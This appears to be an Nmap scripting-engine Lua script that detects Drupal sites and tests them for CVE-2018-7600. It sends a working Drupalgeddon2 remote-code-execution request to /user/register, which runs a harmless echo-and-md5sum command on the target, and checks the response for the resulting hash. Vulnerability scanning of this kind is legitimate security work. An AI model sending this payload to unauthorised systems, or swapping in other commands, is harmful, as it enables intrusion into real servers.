local http = require "http"
local string = require "string"
local stdnse = require "stdnse"
local table = require "table"

portrule = function(host, port)
	return port.protocol == "tcp" and port.state == "open"
end

action = function(host, port)
	local out = stdnse.output_table()
	out.cms = ''
	out.isvulnerable = false
	out.cmsversion = 'unknown'

	local response = http.get(host, port, '/README.txt')
	if response.body ~= nil then
		if ( string.find(response.body, "Drupal") ) then
			out.cms = 'Drupal'
		end
	end

	if(response.header['x-generator'] ~= nil) then
		if(string.find(response.header['x-generator'], "Drupal")) then
			out.cms = 'Drupal'
		end
	end

	local response = http.get(host, port, '/core/install.php')
	if response.body ~= nil then
		if(string.find(response.body, "version")) then
			local _,_,v = string.find(response.body, 'version..([0-9\\.]+)..span.')
			out.cmsversion = v
		end
	end

	if(out.cms == 'Drupal') then
		local opt = {}
		local headers = {}
		headers['content-type'] = 'application/x-www-form-urlencoded'
		opt['content'] = 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=echo -n DRUPALVULNOK | md5sum'
		opt['header'] = headers
		local res = http.generic_request(host, port, 'POST', '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', opt)

		if(string.find(res.body, "65a5491770d940220151cf40fa070463")) then
			out.vuln = "Drupal VULNERABLE to CVE-2018-7600"
			out.isvulnerable = true
			out.cve = "CVE-2018-7600"
		else
			out.vuln = "NOT VULNERABLE"
		end

		table.insert(port.version.cpe, 'cpe:/a:drupal:drupal:'..out.cmsversion)
		nmap.set_port_version(host, port)
	end

	if out.cms ~= "" then
		return out
	end
end
